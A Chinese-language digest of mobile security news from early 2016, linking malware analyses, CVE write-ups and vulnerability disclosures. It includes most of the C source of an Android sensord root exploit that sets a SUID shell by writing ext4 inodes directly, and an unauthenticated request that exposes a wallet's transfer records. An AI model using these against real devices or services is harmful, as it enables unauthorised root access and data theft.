- 1.11 [滴滴打车内网漫游(登录任意司机&乘客账号、查看所有订单、大量内部系统、所有源代码)](http://www.wooyun.org/bugs/wooyun-2015-0155420)
- 1.12 [面具恶魔”绕过Root恶意推广](http://seclab.safe.baidu.com/2016-01/fakegoogletools.html)
恶意程序,可以在用户手机没有ROOT的情况下,骗取用户下载安装其他程序。这些开发者为了牟利,会在一些热门应用里植入自己开发的模块,当用户启动该程序后,会通过多种手段自动安装其他程序,比如通过激活Android系统自带的Accessibility功能,在Google Play市场上进行模拟点击安装程序,或者通过伪造一个虚假界面骗取用户点击,结果是用户的手机“莫名其妙”被装上自己并不需要的应用,甚至能够安装付费应用,造成经济损失。
- 1.13 [A Case of Too Much Information: Ransomware Code Shared Publicly for “Educational Purposes”, Used Maliciously Anyway](http://blog.trendmicro.com/trendlabs-security-intelligence/a-case-of-too-much-information-ransomware-code-shared-publicly-for-educational-purposes-used-maliciously-anyway/)
In mid-August 2015, in an attempt to educate people, Turkish security group Otku Sen published an open source code for ransomware dubbed “Hidden Tear” and made it available for everyone at github. Hidden Tear uses AES encryption and can evade common AV platforms because it’s a new malware. Otku Sen also published a short video demonstrating how ransomware worked.
*好吧,这个是PC的,有一定教育意义,先放这吧。[样本传送门](https://www.virustotal.com/en/file/abfcaab8e584bb18eea79083d0813e843b6107b60ca656f89c684fa26d1d3ae9/analysis/)*
- 1.13 [PROLONGED ATTACK CHAIN AND BETTER-ORGANIZED CAMPAIGN](https://www.fireeye.com/blog/threat-research/2016/01/slembunk-part-two.html)
Android 银行恶意软件 SlemBunk的跟踪分析
- 1.14 [Android.Bankosy All ears on voice call-based 2FA](http://www.symantec.com/connect/fr/blogs/androidbankosy-all-ears-voice-call-based-2fa)
Symantec早在14年即发现了一个窃取用户金融信息的木马-Android.Bankosy,16年1月,Symantec发现该家族恶意代码增加了针对电话认证双因子的代码,可直接利用电话转接功能窃取用户信息。(这里描述的不够清楚,可看原文。)
- 1.18 [Targeted mobile implants in the age of cyber-espionage](https://securelist.com/blog/research/73305/targeted-mobile-implants-in-the-age-of-cyber-espionage/)
卡巴对15年Hacking Team泄漏的针对移动端(包括IOS、Android、Blackberry、Windows Mobile)的间谍软件进行了详细分析。
- 1.18 [360-2015年中国高持续性威胁(APT)研究报告](https://ti.360.com/upload/report/file/2015.APT.Annual_Report.pdf)
360的APT总结,同时,可以看[这里](https://ti.360.com/),按时间线来的APT事件分析。
- 1.18 [Autopwn Every Android < 4.2 Device on Your Network Using BetterCap and the addJavascriptInterface Vulnerability.](https://www.evilsocket.net/2016/01/18/autopwn-every-android-device-on-your-network-using-bettercap-the-and-addjavascriptinterface-vulnerability/)
通过 BetterCap 工具和 'addJavascriptInterface' 漏洞自动攻击网络内的所有(**4.2以下版本的**)Android设备
- 1.19 [CVE-2016-0728 linux内核提权漏洞,影响版本<=3.8,包括Android](http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/)
[CVE-2016-0728](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-0728) is caused by a reference leak in the keyrings facility. 由keyring的引用计数溢出问题导致的UAF漏洞——此处可有[门](http://bobao.360.cn/learning/detail/2576.html)。
- 1.21 [全球10大声名远扬的黑客组织](http://bobao.360.cn/news/detail/2658.html)
*备忘,属于团队/组织系列的知识*
- 1.21 [iOS/OS X syslogd 堆溢出漏洞分析(CVE-2016-1722)](https://blog.zimperium.com/analysis-of-ios-os-x-vulnerability-cve-2016-1722) [中文版](http://bobao.360.cn/learning/detail/2581.html)
An incorrect size calculation during memory re-allocation leads to a heap buffer overflow in [syslogd](http://opensource.apple.com/source/syslog/syslog-267/) when multiple client connections are established.
- 1.22 [中国联通沃邮箱等部分Android客户端免密码登陆](http://www.wooyun.org/bugs/wooyun-2010-0147087)
由白帽子[恶人毛](http://www.wooyun.org/whitehats/%E6%81%B6%E4%BA%BA%E6%AF%9B)在乌云平台上报了联通公司的沃邮箱等相关android应用存在的漏洞,相关应用未做任何认证,直接授权手机登陆(提取到的手机号)相关账号,可利用改号软件任意登陆,并可获取相关账号密码。
- 1.24 [Android privilege escalation to mediaserver from zero permissions (CVE-2014-7920 + CVE-2014-7921)](http://bits-please.blogspot.jp/2016/01/android-privilege-escalation-to.html)
Android 提权:结合两个漏洞(CVE-2014-7920 + CVE-2014-7921)实现 MediaServer 进程内的任意代码执行
- 1.* [疑似某基于运营商流量的APK劫持推广系统存漏洞(每天高达百万计的劫持数据统计)](http://www.wooyun.org/bugs/wooyun-2016-0168329)
1月8日由"路人甲"在乌云平台上报,2月22日向所有人公开,要用[镜像](https://www.secpulse.com/archives/44626.html)了。
- 1.25 [绕过沙盒demo:非越狱手机删除任意app以及 获取微信聊天记录](http://weibo.com/2250770035/DeJDwA2fQ?type=comment)
微博视频中展示了该demo在非越狱情况下,删除其他app(重启后图标消失)&窃取微信聊天信息(db);同时,[苹果将修复由360涅槃团队提交的“冰火穿越”漏洞](http://bobao.360.cn/news/detail/2670.html)
- 1.26 [iOS冰与火之歌 – Objective-C Pwn and iOS arm64 ROP](http://drops.wooyun.org/papers/12355)
这篇文章简单介绍了iOS上Objective-C的利用以及iOS上arm64ROP,这些都是越狱需要掌握的最基本的知识。乌云已崩,相关代码已开源[iOS_ICE_AND_FIRE](https://github.com/zhengmin1989/iOS_ICE_AND_FIRE)
- 0x01
- 2.2 [iOS 9.2/9.2.1修补的内核漏洞](http://blog.pangu.io/race_condition_bug_92/)
盘古技术人员对所修复的漏洞中,一个能够绕过地址随机等保护机制完全攻破内核(可被用于越狱)的漏洞进行了细节分析分享,讨论编写利用的一些思路
- 2.10 [利用trustzone Unlocking the Motorola Bootloader](http://bits-please.blogspot.in/2016/02/unlocking-motorola-bootloader.html)
- 2.16 [10 Years of Mac Malware: How OS X Threats Have Evolved [Infographic] ](https://www.intego.com/mac-security-blog/10-years-of-mac-malware-how-os-x-threats-have-evolved/)
从2006年至2016年,十年间在OSX&iOS上出现的病毒。时间线整理,虽然是广告,但是图还是可以看看的。
- 2.17 [盘点2015年度10大安卓手机系统级病毒](http://blogs.360.cn/360mobile/2016/02/17/android_system_virus_top10/)
- [“百脑虫”木马](http://blogs.360.cn/360mobile/2016/01/06/analysis_of_bainaochong/) 感染用户:119.5万
- [“蜥蜴之尾d木马](http://blogs.360.cn/360mobile/2015/11/16/analysis_of_fakedebugger_d/) 感染用户:95.6万
- [“FakeDebuggerd”](http://blogs.360.cn/360mobile/2014/03/06/fakedebuggerd-android-rootk“”it/) [(长老)木马](http://blogs.360.cn/360mobile/2014/11/24/analysis_of_fakedebuggerd_c_and_related_trojans/) 感染用户:77.8万
- “幽灵推”相关底层模块 感染用户:58.3万
- [“权限杀手”木马](http://blogs.360.cn/360mobile/2015/06/29/analysis_of_pkiller/) 感染用户:50.1万
- “Andam”木马 感染用户:25.7万
- “糖果”木马 感染用户:23.8万
- [“万蓝”木马](http://blogs.360.cn/blog/analysis_of_wland/) 感染用户:10万
- “FakeSysCmd”木马 感染用户:7.7万
- “asshole”木马感染用户:3.8万
- 2.17 [Smile! You’re on Candid APT](https://community.rapid7.com/community/services/blog/2016/02/18/smile-you-re-on-candid-apt)
对公共监控摄像的Hack.由于公共监控摄像的后台管理登陆账号密码均为默认,还可设定配置以支持ssh远控……
- 2.18 [New Android Trojan “Xbot” Phishes Credit Cards and Bank Accounts, Encrypts Devices for Ransom](http://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/)
This Trojan, which is still under development and regularly updated, is already capable of multiple malicious behaviors. It tries to steal victims’ banking credentials and credit card information via phishing pages crafted to mimic Google Play’s payment interface as well as the login pages of 7 different banks’ apps. It can also remotely lock infected Android devices,
- 2.18 [iOS冰与火之歌番外篇 - 在非越狱手机上进行App Hook](http://drops.wooyun.org/papers/12803)
在非越狱手机上进行App Hook
- 2.18 [闭路电视DVR的破解过程](http://bobao.360.cn/learning/detail/2747.html)
主要描述了闭路电视DVR的攻击破解过程。
- 2.19 [Google Project Zero Issue 735: Linux io_submit L2TP sendmsg integer overflow. This issue is also likely to affect 64-bit Android devices, which typically use branches of 3.10.](https://code.google.com/p/google-security-research/issues/detail?id=735&can=1&start=500)
影响Android内核的最新版本,可以用来提权,带POC。
- 2.19 [In the Wild: Mobile Security Observations from the Check Point Research Team](http://blog.checkpoint.com/2016/02/19/in-the-wild-mobile-security-observations-from-the-check-point-research-team-5/)
MazarBot is the first mobile malware to use TOR to communicate anonymously.
Like its sibling, LIBSKIN initiates a rooting process through a module called right_core. The malware then pops up ads in changing intervals in order to hide which app from which these pop-ups pop.
- 2.20 [一个可大规模隐蔽窃取163邮箱用户密码的漏洞](http://www.wooyun.org/bugs/wooyun-2016-0167493)
文章源替换为:https://www.secpulse.com/archives/44544.html
- 2.20 [盗刷别人的 Apple Pay,总共分几步?](http://news.secwk.com/article/newinfo/detail/650220501330187465#?sideActiveTab=fast)
通过几个方案的脑洞,推论出无法盗刷Apple Pay。
- 2.22 [京东钱包越权查询之任意查看两账户之间的转账信息](http://www.wooyun.org/bugs/wooyun-2016-0168304)
文章源切换为:https://wystatic.ictf.pw/static/bugs/wooyun-2016-0168304.html
网络访问请求无任何认证,直接提交帐号ID即可获得相关数据。POST https://m.wangyin.com/ryze/transferRecord {"desCustomerId":"360000000064845496","pageNum":1,"pageSize":10,"channel":"","clientVersion":"","customerId":"360000000051318036","macAddress":"","auth":"","userId":"1000000003607","clientName":"","deviceId":"","version":""}
- 2.22 [Recent MazarBot targeting the MobilePay can lock and erase your device](http://b0n1.blogspot.jp/2016/02/recent-mazarbot-targeting-mobilepay-can.html)
伪基站短信+钓鱼界面。
- 2.22 [来自黑产的新年“问候”](https://www.sec-un.org/from-black-new-year-greetings-2/)
1、先用红包做诱饵,借新年这一时机进行传播。随后又对源码做了修改,变成了过年聚会相册传播,非常精准的把握住了大家的心理。做黑产也确实挺拼的……
2、批量注册域名、生成短链接,多线传播。
3、对用户访问终端做严格判断,提高传播效率。
4、除了冒用用户名义滥发短信,分析未发现搜集用户信息行为,是否放马者只是牛刀小试,还有后续动作?
- 2.22 [PoS Malware: All You Need to Know](http://resources.infosecinstitute.com/pos-malwareall-you-need-to-know/)
POS机上的恶意代码,值得关注。
<table><tr><th>Name</th>
<th>Abilities</th></tr>
<tr><th rowspan="6">PoSeidon malware</th>
<td>Sophisticated method to find card data. </td></tr>
<tr><td>Self-update ability to execute new code.</td></tr>
<tr><td>Effective measures to protect its code from analysis.</td></tr>
<tr><td>The malware belongs to the “scrapers” family.</td></tr>
<tr><td>Implementation of the Luhn formula to verify card validity.</td></tr>
<tr><td>Use a Keylogger module.</td></tr>
<tr><th rowspan="6">NewPosThings malware</th>
<td>Efficient memory scraping process.</td></tr>
<tr><td>Custom packer and new anti-debugging mechanisms.</td></tr>
<tr><td>Implements the ability to harvest user input.</td></tr>
<tr><td>To obtain persistence, it uses a registry entry with the name “Java. Update Manager”.</td></tr>
<tr><td>Disables the warning messages used by the OS.</td></tr>
<tr><td>Implementation of the Luhn formula to verify card validity.</td></tr>
<tr><th rowspan="6">d4re|dev1| malware</th>
<td>Mass Transit Systems.</td></tr>
<tr><td>Allows remote control of victims.</td></tr>
<tr><td>Implements functionalities of RAM scrapping and keylogging features.</td></tr>
<tr><td>Allows loading of additional payloads through “File Upload” option for lateral movement inside the local network.</td></tr></table>
- 2.23 [安卓恶意软件GM Bot源代码被公开](http://www.freebuf.com/news/96811.html)
监视受害者
从受感染设备删除数据
驻足系统
拨打电话给手机联系人
读取手机状态
影响手机控制键
感染Chrome浏览器
更改手机设置
强制手机进入睡眠模式
查询网络状态
获取网络链接
清除设备存储空间(这款恶意软件最具破坏性的能力)
<https://securityintelligence.com/android-malware-about-to-get-worse-gm-bot-source-code-leaked/> *有指令详细分析*
<http://thehackernews.com/2016/02/android-malware-source-code.html>
- 2.23 [Acecard移动木马的进化](https://securelist.com/blog/research/73777/the-evolution-of-acecard)
http://news.kaspersky.com.cn/news2016/02n/160222.htm
Acecard木马家族的恶意软件几乎使用目前所有的恶意软件功能,从窃取银行短信和语音信息到利用假冒的登陆信息覆盖官方应用窗口,试图窃取用户的个人信息和账户详情。最新版的Acecard木马能够攻击约30家银行和支付系统的客户端应用。考虑到这种木马能够根据指令,覆盖任何应用的窗口,所以遭受攻击的金融应用整体数量可能会更多。
除了银行应用外,Acecard还能够利用钓鱼窗口覆盖以下应用:
即时通讯服务:whatsApp、Viber、Instagram和Skype;
社交网络:Vkontakte、Odnoklassniki、Facebook、Twitter;
Gmail客户端;
PayPal移动应用;
Google Play和Google Music应用。
演化史:
- 2.23 [艾媒咨询:2015-2016中国移动安全市场年度报告](http://www.iimedia.cn/40895.html)
1. 移动端安全问题越发突出
2. 物联网成为新威胁
3. 复杂加密技术将更普及
4. 个人隐私问题更受重视
5. 安全手机或安全系统
6. 开发者安全不容小觑
7. 一站式手机安全软件更受青睐
8. 手机预装软件问题严重
[PDF传送门](http://www.iimedia.cn/145621808427387n74.pdf)
- 2.23 [开智能锁](http://weibo.com/ttarticle/p/show?id=2309403945700713985684)
APP网络请求的认证不严格,维修公司的网站信息不保密等漏洞导致的问题。
- 2.24 [公司wifi安全](http://drops.wooyun.org/wireless/12944)
重定向:<http://drops.xmd5.com/static/drops/wireless-12944.html>
第一步:设定WiFi无法访问内部网络
第二步:员工内部培训,避免暴露公司内网入口(随身WiFi、网络认证证书、家庭网络vpn等)
- 2.24 [Porn clicker trojans at Google Play: An analysis](http://www.welivesecurity.com/2016/02/24/porn-clicker-trojans-google-play-analysis/)
- 2.25 [日产Nissan Leaf电动汽车漏洞曝光](http://bobao.360.cn/news/detail/2768.html)
http://www.bbc.com/news/technology-35642749
http://bobao.360.cn/learning/detail/2761.html
- 2.26 [破解一款流行的4G Modem](http://bobao.360.cn/learning/detail/2763.html)
- 2.26 [通用型微信抢红包神器](http://blog.knownsec.com/2016/02/universal-way-to-grab-red-packet-in-wechat/)
- 2.26 [Windows Mobile Application Security Testing](http://anandsecurity.blogspot.jp/2016/02/windows-mobile-application-security.html)
http://anandsecurity.blogspot.jp/2016/02/windows-mobile-application-security_22.html
http://anandsecurity.blogspot.jp/2016/02/windows-mobile-application-security_95.html
http://anandsecurity.blogspot.jp/2016/02/windows-mobile-application-security_24.html
- [Practical Attacks Against Privacy and Availability in 4G/LTE Mobile Communication Systems](https://www.internetsociety.org/sites/default/files/blogs-media/practical-attacks-against-privacy-availability-4g-lte-mobile-communication-systems.pdf)
- 2.26 [网络小黑揭秘系列之黑产江湖黑吃黑 ——中国菜刀的隐形把手](http://bobao.360.cn/learning/detail/2762.html)
- 2.26 [Android App 安全的HTTPS 通信](http://pingguohe.net/2016/02/26/Android-App-secure-ssl.html)
- [黑客讲故事:攻下隔壁女生路由器后,我都做了些什么](http://daily.zhihu.com/story/3603866)
- [OSX/IOS系统漏洞学习资料汇总](http://pandazheng.blog.163.com/blog/static/17681720920161256549286/?ignoreua)
- 2.27 [Remote Code Execution in the Baidu Browser for Android](http://www.lifeform-labs.com/blog/2016/2/27/remote-code-execution-in-the-baidu-browser-for-android)
http://www.freebuf.com/news/97003.html
- 2.27 [银行安全之民生银行信用卡APP泄露任意信用卡消费明细](http://www.wooyun.org/bugs/wooyun-2016-0170248)
- [2015 Android 恶意软件威胁报告(下):Android勒索软件和SMS木马造成的威胁日益严峻](http://www.freebuf.com/articles/security-management/97544.html)
- 2.29 [营商DNS劫持](http://weibo.com/ttarticle/p/show?id=2309403947881995354308)
http://securityaffairs.co/wordpress/44893/hacking/chinese-isps-serve-malware-ads.html
- 0x02
- 3.1 [GitHub是个敏感数据宝库 可以从中收割数据](http://www.aqniu.com/hack-geek/13957.html)
https://github.com/metac0rtex/GitHarvester
- 3.1 [OSX SIP机制的“那些事”](http://www.freebuf.com/articles/system/97411.html)
- 3.1 [iOS远程hot patch的优点和风险](http://drops.wooyun.org/tips/13248)
- 3.1 [阿里成立“网络特工队” 对抗40万黑色产业链“从业者”](http://weibo.com/ttarticle/p/show?id=2309403948233419300576)
- [trendmicro-cybercrime and the deep web](http://www.trendmicro.com/vinfo/us/security/threat-intelligence-center/deep-web/)
- 3.3 [银行木马-Triada: organized crime on Android](https://blog.kaspersky.com/triada-trojan/11481/)
- 3.3 [利用Cydia Substrate进行Android Native HOOK](http://blog.csdn.net/hu3167343/article/details/50792153)
- 3.4 [猎豹-全球首个Golem(傀儡)病毒感染数万手机](http://www.freebuf.com/vuls/97710.html)
- 3.4 [FBI都搞不定的苹果手机锁,小偷是如何解开的?](http://www.ijiandao.com/safe/20775.html)
- 3.5 [中国移动某客户端无需密码可看任意人的资料和余额和套餐和姓名](http://www.wooyun.org/bugs/wooyun-2016-0171116)
- 3.6 [New OS X Ransomware KeRanger Infected Transmission BitTorrent Client Installer](http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/)
- 3.7 [APP安全之伐木累任意用户登录](http://www.wooyun.org/bugs/wooyun-2016-0171902)
- 3.7 [Nexus Security Bulletin - March 2016](https://source.android.com/security/bulletin/2016-03-01.html)
- 3.7 [Fortinet 的爬虫&分析系统发现了一个新的 Android 恶意软件家族: BadMirror](http://blog.fortinet.com/post/badmirror-new-android-malware-family-spotted-by-sherlockdroid)
- 3.7 [用机器学习检测Android恶意代码](http://drops.wooyun.org/mobile/13428)
- 3.7 [通过siri饶过ios v9., v9.1 & v9.2.1,也有人评论说不是通过SIRI饶过的,是在按IPHONE键的时候,指纹解锁的](https://blog.slowb.ro/new-apple-ios-v9-0-v9-1-v9-2-1-passkey-bypass/)
- 3.7 [Apple iOS v9.2.1 多个密码绕过漏洞](http://seclists.org/fulldisclosure/2016/Mar/15?utm_source=feedburner&utm_medium=twitter&utm_campaign=Feed%3A+seclists%2FFullDisclosure+%28Full+Disclosure%29)
- 3.8 [警惕黑产利用企业邮箱团伙作案](http://www.sec-un.org/alert-to-black-mail-gang-crime.html)
- 3.8 [360-“舞毒蛾”木马演变报告](http://bobao.360.cn/learning/detail/2788.html)
- 3.9 [Android banking trojan masquerades as Flash Player and bypasses 2FA(安卓银行木马伪装成Flash Player)](http://www.welivesecurity.com/2016/03/09/android-trojan-targets-online-banking-users/)
- 3.9 [IORegistryIterator竞争条件漏洞分析与利用](http://drops.wooyun.org/papers/13505)
- 3.10 [Exploring the Physical Address Space on iOS](http://embeddedideation.com/2016/03/10/exploring-the-physical-address-space-on-ios/)
- 3.10 [SlemBunk木马浅析](http://blog.nsfocus.net/slembunk-analysis-trojan-horse/)
- 3.10 [海航旗下某APP任意用户密码重置](http://www.wooyun.org/bugs/wooyun-2016-0172801)
- 3.10 [我是如何发一个“红包”就控制别人的QQ的(以QQ邮箱作为演示/无需xss)](http://www.wooyun.org/bugs/wooyun-2016-0172586)
- [Vulnerability in Android library while parsing DRM content](https://github.com/programa-stic/security-advisories/tree/master/Android/Stagefright/CVE-2015-3873)
- 3.11 [北京多小区惊现非法手机信息采集装置:可监测手机位置、收集隐私数据、盗取手机信息](http://mini.eastday.com/mobile/160311170528552.html?url_type=39&object_type=webpage&pos=1)
- 3.12 [通过逆向分析恶意软件的二进制代码,FireEye表示恶意软件家族拥有共同的起源 A Growing Number of Android Malware Families Believed to Have a Common Origin: A Study Based on Binary Code ](https://www.fireeye.com/blog/threat-research/2016/03/android-malware-family-origins.html)
http://drops.wooyun.org/mobile/13839
- 3.13 [Android sensord day root exploit (tested on LG L7 (PL)](https://cxsecurity.com/issue/WLB-2016010191)
```
void disable_autorotate()
{
printf("[+] Disabling auto-rotate...\n");
system("content insert --uri content://settings/system --bind name:s:accelerometer_rotation --bind value:i:0");
}
void first_step()
{
if( access(FIFO_DAT, F_OK) != -1 )
{
unlink(FIFO_DAT);
}
char path[1024];
get_system_dev(path, sizeof(path));
symlink(path, FIFO_DAT);
printf("[+] Symlink is created, please reboot device and run second step.\n[+] The device may slow down, after second step will work normally.\n");
}
void second_step()
{
char path[1024];
struct stat s;
unlink(FIFO_DAT);
stat(SH, &s);
printf("[+] Looking for inode no.: %llu\n", s.st_ino);
get_system_dev(path, sizeof(path));
int fd = open(path, O_RDWR);
if( fd != -1 )
{
int inodeno = s.st_ino;
struct ext4_super_block super;
struct ext4_group_desc group_descr;
struct ext4_inode inode;
unsigned long int offset=0;
lseek(fd, 0x400, SEEK_SET);
read(fd, &super, sizeof(super));
int block_size = 1024 << super.s_log_block_size;
int bg = (inodeno-1) /super.s_inodes_per_group;
lseek(fd, block_size + bg * (super.s_desc_size ? super.s_desc_size : sizeof(struct ext4_group_desc) ), SEEK_SET);
read(fd, &group_descr, sizeof(group_descr));
unsigned int index = (inodeno-1) % super.s_inodes_per_group;
unsigned int off = index * super.s_inode_size;
unsigned long total_offset = block_size + (group_descr.bg_inode_table_lo-1) * block_size + off;
lseek(fd, total_offset, SEEK_SET);
read(fd, &inode, sizeof(struct ext4_inode));
if(inode.i_size_lo == s.st_size) {
__le16 mode = 0;
printf("[+] Found inode!\n");
lseek(fd, total_offset, SEEK_SET);
inode.i_mode = inode.i_mode | 0x800;
int modesize = sizeof(inode.i_mode);
int wr = write(fd, &inode.i_mode, modesize);
if( wr == modesize )
{
printf("[+] Success, bit SUID is setted on %s\n[+] You must reboot the device to run third step\n", SH);
}
else
{
printf("[-] Can't set bit SUID on %s\n", SH);
}
}
else
{
printf("[-] Can't find inode!\n");
}
close(fd);
}
else
printf("[-] Can't open %s!\n", path);
}
void third_step()
{
char path[1024];
//chmod(SH, 4755);
setuid(0);
setgid(0);
if(getuid() == 0)
{
get_system_dev(path, sizeof(path));
chmod(path, 0600);
printf("[+] Rooted!\n");
system(SH);
}
else
{
printf("[-] No root here!\n");
exit(0);
}
}
bool verify()
{
DIR* dir;
struct dirent *entry;
char spath[512];
bool res = false;
struct stat s;
dir = opendir("/proc");
if(dir) {
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_DIR) {
snprintf(spath, 512, "/proc/%s/cmdline", entry->d_name);
if (isSensord(spath)) {
stat(spath, &s);
if (s.st_uid == 0)
res = true;
break;
}
}
}
closedir(dir);
}
return res;
}
```
- 3.14 [APP安全之优衣库可修改数千万任意用户密码 ](http://www.wooyun.org/bugs/wooyun-2016-0174180)
- 3.14 [Dumping Memory on iOS 8](https://blog.netspi.com/dumping-memory-on-ios-8/)
- [How do I debug safe mode with the following info?](http://iosre.com/t/how-do-i-debug-safe-mode-with-the-following-info/3072)
- Metaphor - 为 Stagefright 写一个能绕过 ASLR 的 Exploit,CVE-2015-3864
- 3.15 [Fuzzing workflows; a fuzz job from start to finish ](http://foxglovesecurity.com/2016/03/15/fuzzing-workflows-a-fuzz-job-from-start-to-finish/ )
- 3.15 [浅谈移动APP攻击](http://www.freebuf.com/articles/terminal/98722.html)
- 3.15 [Android Bound Service攻击](http://drops.wooyun.org/mobile/13676)
- 3.15 [From Android ART (binary-only) to DEX](http://reyammer.blogspot.jp/2016/03/from-android-art-binary-only-to-dex-yes.html)
- 3.15 [Fingerprint as a Trojan](https://godpraksis.no/2016/03/fingerprint-trojan/)
- 3.16 [AceDeceiver: First iOS Trojan Exploiting Apple DRM Design Flaws to Infect Any iOS Device](http://researchcenter.paloaltonetworks.com/2016/03/acedeceiver-first-ios-trojan-exploiting-apple-drm-design-flaws-to-infect-any-ios-device/ )
第一个利用apple drm设计漏洞的ios木马影响任意IOS设备 https://paloaltonetworks.app.box.com/s/9glj43hyba08iql88e6d2sy36tvm5vk5
- 3.16 [运营商的这个功能也许帮了黑客大忙 ]( http://weibo.com/ttarticle/p/show?id=2309403953690900868515)
- 3.15[ 腾讯-防骗启示录:3.15手机安全专题报告](http://msm.qq.com/security_lab/news_detail_352.html)
- 3.16 [2016年央视“3·15”晚会曝光恶意扣费APP黑名单 ]( http://news.secwk.com/article/newinfo/detail/465597750316131050#?sideActiveTab=fast)
- 3.16 [360-盘点手机APP扣费陷阱](http://blogs.360.cn/360mobile/2016/03/16/charge-trap/) - 3.16 [iOS冰与火之歌番外篇 - App Hook答疑以及iOS 9砸壳]( http://drops.wooyun.org/papers/13824)
- 3.17 [一款弃用iOS应用数据库泄露 近19.8万用户信息曝光 ]( http://news.secwk.com/article/newinfo/detail/884054733175010317#?sideActiveTab=fast)
- [iOS 9.2.1 代码签名绕过 PoC:](https://github.com/kpwn/921csbypass)
- 3.17 [伪装成成人应用的 Android 文件加密勒索软件](http://b0n1.blogspot.com/2016/03/file-encoder-android-ransomware-adult-applications.html)
- 3.17 [Stagefright漏洞exp公布,数百万安卓手机仍受影响](http://www.freebuf.com/news/99306.html)
- 3.18 [11对战平台用户身份证信息遍历&用户密码重置](http://www.wooyun.org/bugs/wooyun-2016-0185500)
- [Claud-Who’s Breaking into Your Garden? iOS and OS X Malware You May or May Not Know. BsidesSF, San Francisco, Feb, 2016](https://github.com/secmobi/slides )
- 3.18 [“查找 iPhone”并不能真的帮你找到丢失的 iPhone ](http://www.pingwest.com/find-my-iphone-is-not-as-useful-as-you-think/)
- 3.21 [New adware for Android attacked firmware and apps by well-known companies ](http://news.drweb.com/show/?i=9882&c=5&lng=en&p=0)
- 3.21 [Google 最近发现了一个 Android Root 应用,该应用利用一个本地提权漏洞实现 Root(CVE-2015-1805), 漏洞公告](http://t.cn/RGDLJ4W)
某个 Root 应用会利用部分 Android 设备上的内核中某个未被补丁程序修复的本地提权漏洞 (CVE-2015-1805)。
- 3.21 [some points on CVE-2015-1805 ](http://retme.net/index.php/2016/03/19/some-points-on-cve-2015-1805.html)
pipe.c
pipe_iov_copy_to/from_user在处理readv/writev时,
对当前已经拷贝的buffer长度统计可能与pipe_read/pipe_write不同步,
导致"iovec overrun",构造内存后可造成任意内核地址写
同时讲解了POC
- 3.21 [成人之美APP任意用户密码重置](http://www.wooyun.org/bugs/wooyun-2016-0187062)
- 3.22 [APP安全之三维度从一个毫无用处的xss到获取大量身份证信息图片(包括李刚身份证)](http://www.wooyun.org/bugs/wooyun-2016-0184751)
- 3.22 [“你的andorid过期了“恶意软件通过这类虚假提示,来感染手机 ](https://blog.malwarebytes.org/online-security/2016/03/your-android-is-expired/)
- 3.22 [The Price of Free:Privacy Leakage in Personalized Mobile In-App Ads](http://www.securitygossip.com/blog/2016/03/21/2016-03-21/)
- 3.22 [Android SpyLocker 恶意软件, 你需要了解的](https://blogs.mcafee.com/consumer/spylocker-malware-what-you-need-to-know/)
- 3.22 [一个iOS -day会导致 iCloud中的照片和视频被破解](http://bobao.360.cn/news/detail/2864.html)
- 3.22 [对本周针对苹果iMessage攻击中加密工程的几点思考](http://blog.cryptographyengineering.com/2016/03/attack-of-week-apple-imessage.html)
- 3.23 [深度解读“短信拦截马”的黑产利益链 ]( http://www.freebuf.com/articles/wireless/99702.html)
- 3.23 [CVE-2015-1805 PoC, Twitter 上的讨论:](https://twitter.com/idl3r/statuses/711371009874485249)
PoC: https://github.com/idl3r/testcode/blob/master/test2.c)
- 3.24 [Nexus Android Devices Vulnerable to Rooting Application, Permanent Compromise](https://threatpost.com/nexus-android-devices-vulnerable-to-rooting-application-permanent-compromise/116942/)
- 3.24 [Android Stagefright 漏洞补丁的数据分析, 包括各个国家的修复比例对比(CVE-2015-1805等)](https://blog.zimperium.com/reflecting-on-stagefright-patches/)
- 3.24 [Android libstagefright CVE-2016-0816 和 CVE-2016-0824 漏洞的细节, 来自 CENSUS 的漏洞公告](https://census-labs.com/news/tag/advisories/)
- 3.24 [利用任务调度特性检测Android模拟器](http://drops.wooyun.org/mobile/13486)
- 3.24 [影响所有Nexus手机的漏洞,浅析CVE-2015-1805](http://bobao.360.cn/learning/detail/2810.html)
- 3.24 [Facebook 社交软件 Messenger (iOS) 证书验证漏洞,可被中间人攻击。](http://seclists.org/fulldisclosure/2016/Mar/79?utm_source=feedburner&utm_medium=twitter&utm_campaign=Feed%3A+seclists%2FFullDisclosure+%28Full+Disclosure%29)
- 3.25 [APP程序中的短信验证码真的安全么?](http://news.secwk.com/article/newinfo/detail/147442698334300324#?sideActiveTab=fast)
- 3.25 [伪基站识别技巧(一)](http://www.freebuf.com/articles/terminal/99957.html )
- 3.28 [In The Wild: Mobile Security Observations from the Check Point Research Team](http://blog.checkpoint.com/2016/03/25/in-the-wild-mobile-security-observations-from-the-check-point-research-team-7/)
- 3.28 [Taking a Deeper Dive into Leech: One of the Three Families of Malware Dubbed as Triada](https://blog.zimperium.com/taking-a-deeper-dive-into-leech-one-of-the-three-families-of-malware-dubbed-as-triada/)
- 3.28 [Android 呼叫管理应用 Truecaller 存在远程可以利用的漏洞, 1 亿 Android 设备受影响](http://securityaffairs.co/wordpress/45701/hacking/truecaller-remotely-exploitable-flaw.html)
- 3.28 [iOS RSA的网络安全模型、iOS签名机制总结(登录、token安全、签名)](http://ios.jobbole.com/84351/)
- 3.29 [QQ浏览器发现存在安全隐患(数据传输未加密或简单加密)](http://www.solidot.org/story?sid=47656)
- 3.30 [天虹商场APP一处SQL注入(再现380W用户数据)](http://www.wooyun.org/bugs/wooyun-2016-0189961)
- 3.30 [CVE-2015-1805 漏洞允许攻击者永久性地 Root Android 手机, 来自 TrendMicro 的分析](http://blog.trendmicro.com/trendlabs-security-intelligence/critical-cve-2015-1805-vulnerability-allows-permanent-rooting-android-phones/)
While there have been recent rooting exploits such as TowelRoot (CVE-2014-3153), PingPongRoot (CVE-2015-3636) that gain root privileges, this latest flaw features a gaping hole that cybercriminals will try to attack.
- 3.30 [iOS冰与火之歌 – 利用XPC过App沙盒](http://drops.wooyun.org/papers/14170)
https://github.com/zhengmin1989/iOS_ICE_AND_FIRE (涉及的代码下载)
